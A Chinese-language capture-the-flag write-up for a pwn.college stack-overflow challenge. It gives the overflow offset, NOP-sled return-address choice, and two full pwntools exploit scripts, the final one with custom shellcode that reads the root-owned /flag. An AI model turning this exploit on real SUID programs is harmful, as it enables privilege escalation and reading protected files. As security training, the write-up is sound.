题目简介
基础的栈溢出,在/challenge目录下仅存在一个ELF文件,无源代码,需要我们构造输入劫持返回地址,根据题目名字能猜到是要劫持到shellcode起始地址
漏洞点分析
分析一个程序首先要分析有没有溢出点,溢出点在哪里。分析方法和上一题一致,这里省略
接下来用checksec看一下开了哪些保护

发现保护全关,因此漏洞点就是缓冲区溢出覆写返回地址,劫持到我们的shellcode
漏洞点利用
首先确定偏移量,可以采用和pwn.college题解:Control-Hijack相同的方法,最后计算得到偏移量=120
第二步需要确定返回地址,即我们的shellcode的起始地址是哪,首先很自然想到将shellcode放在返回地址后面
通过gdb,在challenge函数的ret指令处打下断点,程序将停在ret指令之前,此时再次使用x命令查看$rsp,由于ret本质是进行pop rip操作,因此rsp此时指向的第一个内存格子就是返回地址,如下图

从图中看到返回地址=0x7fffffffd608,因此应该将返回地址覆写为0x7fffffffd610,但是不能这么干,因为这样gdb调试得到的返回地址其实是不准确的,因为gdb会引入一些环境变量导致栈的空间改变
在实战中,更多采用NOP滑行的方法,即在真正的shellcode之前填入若干个NOP指令,返回地址只要确定一个大概范围,最后能命中这些NOP里的任何一个即可,这里我选择的是0x7fffffffd660,在返回地址后面0x50个字节。
现在可以编写出如下的exp了
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import * import struct import os returnAddr=0x7fffffffd660 context(os='linux', arch='x86_64',log_level='debug') p = process('/challenge/binary-exploitation-hijack-to-shellcode') shellcode=asm(shellcraft.sh()) payload=b"1"*120+p64(returnAddr)+b'\x90'*0x200+shellcode p.recvuntil('Send your payload (up to 4096 bytes)!\n') p.send(payload) p.recv() p.interactive()
|
getshell的临门一脚
很遗憾,上述脚本实测无法打通,这是由于pwn.college的问题,子进程并没有继承root权限,导致读取/flag文件时权限错误
至于为什么出现这种原因,怀疑是pwn.college服务器的sh是指向bash的,由于目标程序是通过SUID获得了root权限,而bash解释器默认会阻止SUID程序的子进程继承权限(不同于zsh等)。所以调用/bin/sh没有root
有2种办法解决,一个是在调用/bin/sh之前进行一次setuid(0)的操作,另一种是改一下shellcode,直接通过系统调用完成输出flag,我这题采用了后者
最终exp.py如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| from pwn import * import struct import os returnAddr=0x7fffffffd660 context(os='linux', arch='x86_64',log_level='debug') p = process('/challenge/binary-exploitation-hijack-to-shellcode') shellcode= asm(''' .intel_syntax noprefix mov r10,0x67616c662f2f2f2f shr r10,24 push r10 lea rdi,[rsp] xor rsi,rsi xor rax,rax push 2 pop rax syscall
mov rdi,rax sub rsp,100 lea rsi,[rsp] xor rdx,rdx push 100 pop rdx xor rax,rax syscall
xor rdi,rdi push 1 pop rdi lea rsi,[rsp] xor rax,rax push 1 pop rax syscall
''') payload=b"1"*120+p64(returnAddr)+b'\x90'*0x200+shellcode p.recvuntil('Send your payload (up to 4096 bytes)!\n') p.send(payload) output = p.recvall() print(output.decode(errors='ignore'))
|
最后也是成功拿到了flag
